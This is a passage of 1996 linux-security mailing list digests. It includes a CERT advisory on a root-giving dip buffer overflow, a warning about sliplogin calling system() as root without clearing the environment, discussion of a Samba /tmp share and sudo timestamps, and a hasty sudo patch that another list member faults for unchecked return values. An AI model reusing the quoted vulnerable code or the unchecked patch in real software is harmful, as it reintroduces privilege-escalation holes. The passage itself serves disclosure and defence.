1 root friends 65 Jul 8 22:33 wpq60_0 - -rw-rw-rw- 1 root friends 65 Jul 8 22:33 wpq60_65535 Now even if I ran WP as myself, that would potentially leave world writable files, owned by me, lying around. Actually some of these files don't change from one run to the next, so if I installed WP as root, which is necessary, and then tested it before logging out of a root shell (presuming lack of sudo), there would be root-owned world-writable files in /tmp until it was cleaned out. Seems dangerous to me, though I'm not sure how to exploit it outside of changing one of those to a script and hoping that it is run. - -jjr ------------------------------ From: Jordy Date: Tue, 9 Jul 1996 10:49:31 -1000 (HST) Subject: [linux-security] joy joy, a new security hole for linux, guess dip 3.3.7n wasn't as security as hoped.. 3.3.7o is out if you read the CERT bullitin ;p [Mod: CA-96.13 follows in next post. --Jeff.] ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) ------------------------------ From: Jeff Uphoff Date: Tue, 9 Jul 1996 17:17:01 -0400 Subject: [linux-security] CERT Advisory CA-96.13.dip_vul (dip vulnerability). This is actually rather old news; Dan Walters posted an alert about this vulnerability on January 22, 1996, and Marc Ewing posted binary fix availability information for Red Hat systems the next day. The original alert(s) is/are archived at: linux.nrao.edu:/pub/security/list-archive/linux-alert/linux-alert.9601 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960122 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960123 The exploit that CERT mentions was publicly posted to linux-security and Bugtraq in January as well. - --Up. - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.13 July 9, 1996 Topic: Vulnerability in the dip program - - ----------------------------------------------------------------------------- The CERT Coordination Center has received several reports of exploitations of a vulnerability in the dip program on Linux systems. The dip program is shipped with most versions of the Linux system; and versions up to and including version 3.3.7n are vulnerable. An exploitation script for Linux running on X86-based hardware is publicly available. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. The CERT Coordination Center recommends that you disable dip and re-enable it only after you have installed a new version. Section III below describes how to do that. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.13.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description dip is a freely available program that is included in most distributions of Linux. It is possible to build it for and use it on other UNIX systems. The dip program manages the connections needed for dial-up links such as SLIP and PPP. It can handle both incoming and outgoing connections. To gain access to resources it needs to establish these IP connections, the dip program must be installed as set-user-id root. A vulnerability in dip makes it possible to overflow an internal buffer whose value is under the control of the user of the dip program. If this buffer is overflowed with the appropriate data, a program such as a shell can be started. This program then runs with root permissions on the local machine. Exploitation scripts for dip have been found running on Linux systems for X86 hardware. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. II. Impact On a system that has dip installed as set-user-id root, anyone with access to an account on that system can gain root access. III. Solution Follow the steps in Section A to disable your currently installed version of dip. Then, if you need the functionality that dip provides, follow the steps given in Section B. A. Disable the presently installed version of dip. As root, chmod 0755 /usr/sbin/dip By default, dip is installed in the /usr/sbin directory. Note that it may be installed elsewhere on your system. B. Install a new version of dip. If you need the functionality that dip provides, retrieve and install the following version of the source code for dip, which fixes this vulnerability. dip is available from ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz.sig MD5 (dip337o-uri.tgz) = 45fc2a9abbcb3892648933cadf7ba090 SHash (dip337o-uri.tgz) = 6e3848b9b5f9d5b308bbac104eaf858be4dc51dc - - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Uri Blumenthal for his solution to the problem and Linux for their support in the development of this advisory. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. This file: ftp://info.cert.org/pub/cert_advisories/CA-96.13.dip_vul http://www.cert.org click on "CERT Advisories" - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMeJzdXVP+x0t4w7BAQEJdAQAt0Y9zXDjpeuRYFI+vmceXpHL8QJPm1GL zArG5qhGx5+9hTioQCUiq/kl6uXMI0IAbfdwDG3I0wg5i7Jvi8PLYyDujpl8+gVT jzJFEQ/S9CjZ6LUxzo2Twg90urQrphFzwnY4L5DVEftKaoL1zCpg6i4SadC7vQUm n0HWkh7kV4M= =zcQN - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Matt) Date: 9 Jul 1996 20:48:46 -0400 Subject: Re: [linux-security] joy Jordy ([email protected]) wrote: : joy, a new security hole for linux, guess dip 3.3.7n wasn't as security : as hoped.. This is a major case of programs that are SUID, that in most cases do not need to be. Fixing such minor things helps improve security greatly. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Jon Lewis Date: Wed, 10 Jul 1996 02:12:11 -0400 (EDT) Subject: [linux-security] Re: You wouldn't believe it... On Tue, 9 Jul 1996, Samuel Lewis wrote: > BTW, I noticed some samba logs on [system name deleted]. Are you running > samba on that system, or is it integrated into red had 3.0.3? This is something I meant to say something about...but kept forgetting. There's this box I installed very nearly all of Red Hat 3.0.3 on to get a feel for Red Hat and see just how much I'd hate it. Maybe I just haven't gotten to know it well enough...but I greatly prefer my hacked up slackware based boxes. Anyway, one day a co-worker brings in his notebook with pcmcia ethernet, and asks me whats up with this Windows server on our network. "What windows server?" It was then that I found that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp world rw. I still don't know Samba, but I assume this is the section of config file responsible: [tmp] comment = Temporary file space path = /tmp read only = no public = yes On a small box such as this one, where the root fs is _the_ fs, a world writable (no account needed) exported directory could be a very bad thing. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.fdt.net | unsolicited huge files. ________Finger [email protected] for PGP public key_______ ------------------------------ From: Jordy Date: Tue, 9 Jul 1996 23:53:35 -1000 (HST) Subject: Re: [linux-security] joy On 9 Jul 1996, Matt wrote: > Jordy ([email protected]) wrote: > : joy, a new security hole for linux, guess dip 3.3.7n wasn't as security > : as hoped.. > > This is a major case of programs that are SUID, that in most cases do not > need to be. Fixing such minor things helps improve security greatly. actually, dip does need to be setuid because it modifies the routing tables. the problem with it was that it doesn't check strlen(), stupid thing... you know, someone should write a nice little howto file on setuid programming: on all input do strlen() don't use system() put the full paths of all binaries when execl*() check eiud reset all "evil" environmental variables never run a shell script from a setuid program if possible, setuid to something other than root that has only the power to do what is needed possibly do what apache does? spawn new daemons as user nobody? it was said that apache did it the RIGHT way. any other suggestions? Jordy ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) ------------------------------ End of linux-security-digest V2 #36 *********************************** linux-security-digest/v02.n037100664 1767 1767 46642 6171457444 15472 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #37 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 12 July 1996 Volume 02 : Number 037 Re: [linux-security] joy Re: [linux-security] dip Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] dip Re: [linux-security] dip Re: [linux-security] joy Re: [linux-security] dip [linux-security] SUDO problems ---------------------------------------------------------------------- From: Uri Blumenthal Date: Wed, 10 Jul 1996 13:36:35 -0400 (EDT) Subject: Re: [linux-security] joy Jordy says: > actually, dip does need to be setuid because it modifies the routing tables. (:-) You got it... > the problem with it was that it doesn't check strlen(), stupid thing... > you know, someone should write a nice little howto file on setuid > programming: > > on all input do strlen() Not necessarily. Much better would be to input only a certain number of bytes... > don't use system() "Shouldn't" is better than "don't"... > put the full paths of all binaries when execl*() > check eiud Double emphatic yes! > reset all "evil" environmental variables (:-) > never run a shell script from a setuid program Oh, there still are those who do? What's their IP addresses? (:-) > if possible, setuid to something other than root that has only the power > to do what is needed Plus - many things can be done with set-gid and user groups. > possibly do what apache does? spawn new daemons as user nobody? it was > said that apache did it the RIGHT way. Just say - "drop the unnecessary privileges as soon as they become unnecessary". Oh, and truncate that signature of yours. (:-) - -- Regards, Uri [email protected] - -=-=-=-=-=-=- ------------------------------ From: John Betts Date: Wed, 10 Jul 1996 19:20:34 +0200 (SAT) Subject: Re: [linux-security] dip % actually, dip does need to be setuid because it modifies the routing tables. % forgive me if I am missing something here.... but, why would you want non-root users to make network connections and make changes to routing tables? Simple solution is to chmod -s dip, and only run it as root. Do you _really_ want any 'ol luser on your system to dial out and do funny things with your modem? I think there should be a comms group, at least, in which only users in that group may use _any_ communications device... I dont like the fact that by default any 'ol luser can use my modem... what about you folk? Should this defacto standard be changed? ciao - -- John - -- John Betts, Aztec Internet Services Port Elizabeth, South Africa [email protected], Tel. +27(0)41 303 475, Fax. +27(0)41 301 052 The world is complex. The Sendmail configuration reflects this. ------------------------------ From: John Henders Date: Wed, 10 Jul 1996 13:49:15 -0700 (PDT) Subject: Re: [linux-security] Re: You wouldn't believe it... Jon Lewis writes: > This is something I meant to say something about...but kept forgetting. > There's this box I installed very nearly all of Red Hat 3.0.3 on to get a > feel for Red Hat and see just how much I'd hate it. Maybe I just haven't > gotten to know it well enough...but I greatly prefer my hacked up > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of > config file responsible: > > [tmp] > comment = Temporary file space > path = /tmp > read only = no > public = yes > > On a small box such as this one, where the root fs is _the_ fs, a world > writable (no account needed) exported directory could be a very bad thing. Only if there's a bug in samba that allows you to get out of the directory that is exported, as there was with the NT implementation. I think this is the result of a different philosophy than Slackware more than anything else. With Redhat, the assumption seems to be that if you ask for a package to be installed it will be configured as well, where as Slackware (or at least the last version I installed) just installs the package and leaves you to figure out how to configure it. Debian seems to follow the Redhat philosophy as well. If you install netatalk, for instance, it configures it to allow users to mount this home directory. Where both packages fall down, redhat's rpm installed the most, IMHO, is that they fail to tell you very little about what they've done. rpm - --install package is comeletely silent, and the -v verbose flag is not much better. Debian fares much better in this regard, but I'd still think more info on the package should be presented somehow. The problem is even worse when installing a whole distribution, as in my experience, no one sticks around to watch the messages printed on a large install. Perhaps if the installers had info sheets for each package, on a bulk install they could save them all to disk and then mail the whole thing to root after installation. - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: [email protected] (Matt) Date: 10 Jul 1996 17:38:00 -0400 Subject: Re: [linux-security] joy Jordy ([email protected]) wrote: : actually, dip does need to be setuid because it modifies the routing tables. SETUID programs are setuid because users are calling them. Why is dip being called by a user? If programs are unsuited for being called by users, then perhaps a wrapper that doesn't except user input is more called for? My point is that there are very few programs that need to be SUID. SU is one that needs to be off hand, /bin/login does not need to be, because it is called by telnetd which is running as root, because it is spawned from inetd. etc... - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Fabrizio Giudici Date: Wed, 10 Jul 1996 23:51:54 +0200 Subject: Re: [linux-security] Re: You wouldn't believe it... Jon Lewis wrote: > > [snip] > > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of > config file responsible: > [snip] > On a small box such as this one, where the root fs is _the_ fs, a world > writable (no account needed) exported directory could be a very bad thing. Writing on /tmp is not as dangerous, but I agree that people should be warned about it. My point is that Samba is really a _good_ thing (it resolved many many problems in my department) and it is fine that it is automatically set up, however Red Hat people should take care of inserting a message during the installation phase in which they tell the user what kind of services are automatically available. But in my opinion the matter is not only Samba nor Red Hat: by default in /etc/inetd.conf there are other services that are automatically activated and the system owner should be aware of. Probably the best thing could be a dialog box during the installation that shows all available services with a brief description and allows to selectively enable/disable them. Just my 0.02 cents... - -- .---------------------------------------------------------------------------. | Fabrizio Giudici, PhD Student ([email protected]) | Style distinguishes | | WWW-PAGE: http://tomcat.dibe.unige.it/~fritz/ | excellence from | | PHONE: +39 10 3532192 / 3532174 / 3532897 | accomplishment. | | FAX: +39 10 3532175 `---------------------| | Dept. of Biophys. and Elect. Eng. (DIBE), University of Genoa - ITALY | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. ------------------------------ From: Gregory Massel Date: Thu, 11 Jul 1996 01:48:05 +0200 (GMT+0200) Subject: Re: [linux-security] joy On Wed, 10 Jul 1996, Uri Blumenthal wrote: > > never run a shell script from a setuid program > > Oh, there still are those who do? What's their IP addresses? (:-) Forgive me if I'm wrong here, but aren't there cases where this is needed? An example is the /etc/ppp/ip-up script that is run by pppd. Such a script must be run setuid root so that you can use it to add routes etc. Regards Greg - -------------- Gregory Massel -------------- CyberSurf Technologies cc E-Mail: [email protected] Tel: +27 31 207-3034 Fax: +27 31 29-4709 After hours, Tel: +27 31 81-4273 - -------------------------------------------- ------------------------------ From: [email protected] Date: Wed, 10 Jul 1996 21:36:22 -0400 (EDT) Subject: Re: [linux-security] Re: You wouldn't believe it... [email protected]: > Jon Lewis writes: > > > [tmp] > > comment = Temporary file space > > path = /tmp > > read only = no > > public = yes > > > > On a small box such as this one, where the root fs is _the_ fs, a world > > writable (no account needed) exported directory could be a very bad thing. > > Only if there's a bug in samba that allows you to get out of the > directory that is exported, as there was with the NT implementation. Exporting /tmp rw is always scary, especially when you don't have root squash or somesuch enabled. > The problem is even worse when installing a whole distribution, as in my > experience, no one sticks around to watch the messages printed on a > large install. Perhaps if the installers had info sheets for each > package, on a bulk install they could save them all to disk and then > mail the whole thing to root after installation. Fantastic idea. Pretty please, redhat.com? - -- Dan D'Ambrosio [email protected] ------------------------------ From: Chris Adams Date: Wed, 10 Jul 1996 23:19:58 -0500 (CDT) Subject: Re: [linux-security] Re: You wouldn't believe it... Once upon a time, Jon Lewis wrote > This is something I meant to say something about...but kept forgetting. > There's this box I installed very nearly all of Red Hat 3.0.3 on to get a > feel for Red Hat and see just how much I'd hate it. Maybe I just haven't > gotten to know it well enough...but I greatly prefer my hacked up > slackware based boxes. Anyway, one day a co-worker brings in his > notebook with pcmcia ethernet, and asks me whats up with this Windows > server on our network. "What windows server?" It was then that I found > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > world rw. I still don't know Samba, but I assume this is the section of I think that by default, RedHat assumes that you want to run everything you install. Install INN, it will be run at boot time. Install Samba, it will be run at boot time, etc. All you have to do is either delete links from /etc/rc.d/rc[0-6].d or run the program under X that lets you use a GUI to do the same thing. :-) Once I figured that out, I have gotten to like RedHat (of course, I don't have to worry much about security under RedHat until next week). - -- Chris Adams ([email protected]) "So, if anybody wants to have hardware sent to them: don't call me, but instead write your own unix operating system. It has worked every time for me." - Linus Torvalds, author of Linux (Unix-like) OS ------------------------------ From: Suicide Object Date: Thu, 11 Jul 1996 14:38:14 +0200 (MET DST) Subject: Re: [linux-security] Re: You wouldn't believe it... On Wed, 10 Jul 1996, Fabrizio Giudici wrote: > Jon Lewis wrote: > > [snip] > > that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp > > world rw. I still don't know Samba, but I assume this is the section of > > [snip] > Writing on /tmp is not as dangerous, but I agree that people should be > warned about it. eh? share lib telnetd attack. Instant root (so ok it's old, just an example) > But in my opinion the matter is not only Samba nor Red Hat: by default > in /etc/inetd.conf there are other services that are automatically activated > and the system owner should be aware of. Probably the best thing could be a > dialog box during the installation that shows all available services with a > brief description and allows to selectively enable/disable them. that would be a good idea. Or just disable everything by default and have them enable it themselves, once they know *what* they are doing. Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE ------------------------------ From: Chris Woods Date: Thu, 11 Jul 1996 10:11:38 -0400 (EDT) Subject: Re: [linux-security] dip - -----BEGIN PGP SIGNED MESSAGE----- John Betts writes: > forgive me if I am missing something here.... > > but, why would you want non-root users to make network connections and > make changes to routing tables? Remember that many, many linux boxes are single-user machines, being used as desktop PC's in offices or homes. We don't want to encourage end-users to keep a root shell open, or to do something as root that they really don't need to do. And I'm sure there are extenuating circumstances in which there might be a valid reason to allow any of a number of users to establish a dialup connection without having to give them root access. > Do you _really_ want any 'ol luser on your system to dial out > and do funny things with your modem? I believe dip provides a means by which you can specify which users are allowed to use the service. I don't recall, honestly... it's been a long, long time since I've used dip. -cjw "Beware that the most effective way for someone to decrypt your data may be with a rubber hose." --Tatu Ylonen - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMeULkFBcQF9K4jiRAQHWZgP/cpRQva6dLv+lThMwC4NLjaZMvFuqmVMd GOkQ9QUT0hvhujSVOD75ypY5dIkEVY3b/4hXH3BEHXG4ugVSI+Ls9a7Ry7pqzzW3 yI3E3g035Lvf3osLiTNlsU0Z802WZ9y5ozKzU2UwuzV63/aF7vY8T8+4I4fTkjiF r95mej3ru0Q= =EiXI - -----END PGP SIGNATURE----- ------------------------------ From: Cosimo Leipold Date: Thu, 11 Jul 1996 01:55:03 -0400 (EDT) Subject: Re: [linux-security] dip The problem with every system doesn't change. The question boils down to how many people are going to take the time to change thing that are potentially dangerous though not. For example, you might think dip was a bad idea to have setuid, you might think that the best thing to do is to make a dip group, nut how many of you will go and chmod dip and edit your group file and make a group called dip? This is an example of a *very* lazy person, but if you look at some other examples of security holes, it often, if not always, comes down to someone just not taking the time to *drop everything* and fix it. For example, a while back, there was a posting here about convert.bas being insecure, you can still find sites with convert.bas on them. However, altavista, which once let you search for convert.bas now has removed all links with that refrence. This is what everyone should do. (of course, you can still look things up with date.bas and then just assume convert.bas still exsists...) The problem, I feel doesn't lie in whether dip is SETUID(0) or not, it lies in the fact that people just dont take the appropriate action - --> drop everything and fix it.... ------------------------------ From: The Chazman Date: Wed, 10 Jul 1996 23:30:43 -0700 (PDT) Subject: Re: [linux-security] joy Matt ([email protected]) writes: > > Jordy ([email protected]) wrote: > : actually, dip does need to be setuid because it modifies the routing tables. > > SETUID programs are setuid because users are calling them. Why is dip > being called by a user? If programs are unsuited for being called by > users, then perhaps a wrapper that doesn't except user input is more > called for? > True, dip will work fine in dialout mode installed with permissions 0755 if it is only invoked by root. But dip can also be used as the login shell of an account on a SLIP/PPP server machine that the client logs in as to establish the connection. When used in this mode, dip must be installed SUID root, unless you want to make an intermediary suid-root program that then exec's dip, but what does that buy you? -----Carl Miller [[email protected] -- UCSD student, ComStream engineer] ------------------------------ From: Klaus Lichtenwalder Date: Thu, 11 Jul 1996 09:16:40 +0100 (WET DST) Subject: Re: [linux-security] dip On Wed, 10 Jul 1996, John Betts wrote: > [...] > I think there should be a comms group, at least, in which only > users in that group may use _any_ communications device... > > I dont like the fact that by default any 'ol luser can use my modem... > what about you folk? Should this defacto standard be changed? > Yes, that's the solution we do. We have some "power" users (who also know the root passwd) and few dialup people. We need to be able to dip to connect to our clients, but very definitely want to restrict modem use ... Klaus ________________________________________________________________________ Klaus Lichtenwalder, Dipl. Inform., PGP Key: email to [email protected] [email protected], http://www.wp.com/Klaus, fax: +49-89-98292755 Check out Oregon vs. Schwartz: http://www.lightlink.com/spacenka/fors ------------------------------ From: Blue Date: Thu, 11 Jul 1996 14:44:05 -0400 (EDT) Subject: [linux-security] SUDO problems Howdy folks, Thanks for all the advice on hacking passwd for SUDO use - final result I hacked passwd so that it won't work on UIDs under 400. A bit of usage has shown me a possible security hole with SUDO. SUDO allows multiple uses within a certain time period without reentering your password to ensure that you are who you say. This is a feature. However, if there is another terminal logged in, or logs in, during that period, they can use SUDO without entering a passwd. SUDO asks for a password to ensure that an unattended terminal isn't used to run programs with root, and this allows that to be circumvented. People can even log off, log back in, and still be able to SUDO if under the time limit. As a temporay measure I'm reducing the time limit, but does anyone know of a patch or the like to prevent this from happening, perhaps something that also identifies the tty? Jim Carstensen [email protected] ------------------------------ End of linux-security-digest V2 #37 *********************************** linux-security-digest/v02.n038100664 1767 1767 53004 6173204305 15445 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #38 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 17 July 1996 Volume 02 : Number 038 Re: [linux-security] dip Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems [linux-security] security idea Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems Re: [linux-security] security idea [linux-security] sliplogin Re: [linux-security] security idea [linux-security] Re: identd hole? Re: [linux-security] security idea [linux-security] Re: identd hole? Re: [linux-security] sliplogin [linux-security] Re: identd hole? Fwd: [linux-security] security idea ---------------------------------------------------------------------- From: Uri Blumenthal Date: Fri, 12 Jul 1996 18:01:13 -0400 (EDT) Subject: Re: [linux-security] dip Chris Woods says: > > but, why would you want non-root users to make network connections and > > make changes to routing tables? > > Remember that many, many linux boxes are single-user machines, being > used as desktop PC's in offices or homes. We don't want to encourage > end-users to keep a root shell open, or to do something as root that > they really don't need to do. A perfectly valid reason. Also, some multiuser machines do allow *some* users to dial out, and possibly dial-out to establish IP link to the outside. In both cases, DIP has to be set-uid root. Of course, it makes sense to have it also either set-gid whatever *group* is allowed to execute it, with no permissions whatsoever for the others, like: - -rwsr-s--- 1 root dip 89101 Jun 11 00:01 /usr/sbin/dip Or make some kind of wrapper, which controls group-wide access, but still does not eliminate the need for DIP itself to be set-uid root. > > Do you _really_ want any 'ol luser on your system to dial out > > and do funny things with your modem? > > I believe dip provides a means by which you can specify which users > are allowed to use the service. I don't recall, honestly... it's been > a long, long time since I've used dip. Partially. DIP allows to verify whether a dial-in user is permitted to establish an IP connection, but that's about it (oh, plus some auth stuff done)... More work is needed to incirporate better auth methods... - -- Regards, Uri [email protected] - -=-=-=-=-=-=- ------------------------------ From: Jordy Date: Fri, 12 Jul 1996 13:14:04 -1000 (HST) Subject: Re: [linux-security] SUDO problems > People can even log off, log back in, and still be able to SUDO if under > the time limit. yep, two ways i guess you could fix this.... check the tty, or check where the person was logging in from, or BOTH! ;p hrm, don't know why that wasn't though of first > As a temporay measure I'm reducing the time limit, but does anyone know > of a patch or the like to prevent this from happening, perhaps something > that also identifies the tty? > > Jim Carstensen > [email protected] > ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) ------------------------------ From: Stefan `Sec` Zehl Date: Sun, 14 Jul 1996 00:20:27 +0200 (MESZ) Subject: Re: [linux-security] SUDO problems Blue wrote: [...] > However, if there is another terminal logged in, or logs in, during that > period, they can use SUDO without entering a passwd. SUDO asks for a > password to ensure that an unattended terminal isn't used to run programs > with root, and this allows that to be circumvented. You can tell sudo to use authentification 'per tty' so you have to enter your password for each tty seperately, this solves your first problem :) > > People can even log off, log back in, and still be able to SUDO if under > the time limit. you can put 'sudo -k' in your '.logout' (or whatever appropriate) to remove the timestamp-file 'if' there is one, so this effectively solves your second problem :) > > that also identifies the tty? It's already in the newest versioon :) CU, Sec - -- Email: [email protected] or [email protected] WWW: http://www.blafasel.de/~sec/ Phone: 089/3618013 or 0177/2340515 IRC: Sec @ #blafasel I'm living on a small planet called Reality ;-) ------------------------------ From: "Peter J. Braam" Date: Sat, 13 Jul 1996 12:54:02 -0700 (PDT) Subject: [linux-security] security idea I wonder if the following has been considered already. Many security issues would be helped if there was one extra user which could su to any other user, but not to uid zero. Let's call this user "super". Suid root programs might still have to start as root, to listen on a priviliged port for example, but could then relinquish this uid 0 for uid super, and do what they need to do. Sendmail is a good example. Programs running as super could mess up users files, but not the "system" files owned by root, which strikes me as a definite advantage. Exceptions would be the passwd program etc. Just a thought. Peter ------------------------------ From: James Date: Sun, 14 Jul 1996 03:50:30 -0400 (EDT) Subject: Re: [linux-security] SUDO problems Well sudo touches a file /tmp/.odus/username i am sure it could be easily patched to touch a file called /username-tty this would still not be as secure as other more complex alternatives... for example, someone could telnet in on ttyp1 and then logout, someone could immediately login after on ttyp1 and wont have to use a password to sudo... This could be fixed by hacking up all your shells to remove the files when the users logout... Or maybe someone can think of another alternative... for the time being I am probably going to fix up sudo to keep the tty info also...I will leteverrryone know how it turns out James Golovich ------------------------------ From: James Date: Sun, 14 Jul 1996 05:13:33 -0400 (EDT) Subject: Re: [linux-security] SUDO problems > It's already in the newest versioon :) Well I didn't know there was a new version out.. (does it support shadow?)... I am using 1.2 and hacked up a quick fix in about 4 minutes that works... I really don't have much time to reinstall software and make sure it is working, and maybe someone else is in the same position that I am, so I figured I would post my diff... James Golovich - --- check.c.old Sun Jul 14 04:03:08 1996 +++ check.c Sun Jul 14 04:07:51 1996 @@ -42,6 +42,7 @@ #include #include #include +#include #include "sudo.h" #ifdef LINUX @@ -133,7 +134,9 @@ time_t now; - -sprintf ( timestampfile, "%s/%s", TIMEDIR, user ); +sprintf ( timestampfile, "%s/%s.%s", TIMEDIR, user, +strtok(ttyname(fileno(stdin)), "/dev") ); + timestampfile_p = timestampfile; timedir_is_good = 1; /* now there's an assumption for ya... */ ------------------------------ From: [email protected] Date: Mon, 15 Jul 1996 20:41:25 +0200 Subject: Re: [linux-security] SUDO problems : I really don't have much time to reinstall software and make sure it is : working, and maybe someone else is in the same position that I am, so I : figured I would post my diff... : James Golovich : --- check.c.old: Sun Jul 14 04:03:08 1996 : +++ check.c: Sun Jul 14 04:07:51 1996 : @@ -133,7 +134,9 @@ : : -sprintf ( timestampfile, "%s/%s", TIMEDIR, user ); : +sprintf ( timestampfile, "%s/%s.%s", TIMEDIR, user, : +strtok(ttyname(fileno(stdin)), "/dev") ); And no check for the return value of ttyname? And no check for the return value of strtok? ------------------------------ From: "Stephen C. Tweedie" Date: Mon, 15 Jul 1996 22:59:47 +0100 Subject: Re: [linux-security] security idea Hi, On Sat, 13 Jul 1996 12:54:02 -0700 (PDT), "Peter J. Braam" said: > I wonder if the following has been considered already. > Many security issues would be helped if there was one extra user which > could su to any other user, but not to uid zero. Let's call this user > "super". > Suid root programs might still have to start as root, to listen on a > priviliged port for example, but could then relinquish this uid 0 for uid > super, and do what they need to do. Sendmail is a good example. The POSIX.6 proposals deal with this already, and in a much more flexible manner. By splitting root privilege into a number of independent process rights, they allow processes to inherit (or gain, via a suid-like mechanism) only those rights which they need. Furthermore, the process can discard any of those rights in the future once they are no longer necessary. Sendmail is actually a bad example. It needs access to certain mail-specific files, but that can be done by the normal user/group mechanism anyway. It does not need the privilege of writing files as another user: a separate delivery program should be used for this to minimise the possibility of that privilege leaking out of a program bug. And it _certainly_ shouldn't be given root privilege if all it needs to do is to bind to a privileged port. Cheers, Stephen. - -- Stephen Tweedie Department of Computer Science, Edinburgh University, Scotland. ------------------------------ From: David Holland Date: Mon, 15 Jul 1996 21:56:36 -0400 (EDT) Subject: [linux-security] sliplogin Anyone running a version of sliplogin older than sliplogin-2.1.0 (which can be gotten from sunsite.unc.edu:/pub/Linux/system/Network/serial or ftp.uk.linux.org:/pub/linux/Networking/transports) should remove it or upgrade it immediately. It does setuid(0); if (s = system(logincmd)) { : } without clearing the environment first. Therefore, anybody can get root trivially. The sliplogin from NetKit-B-0.06 is affected. Current RedHat sliplogin is not affected. Others I don't know about. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] (Wietse Venema) Date: Tue, 16 Jul 96 8:57:58 MET DST Subject: Re: [linux-security] security idea Peter J. Braam wrote: > > I wonder if the following has been considered already. > > 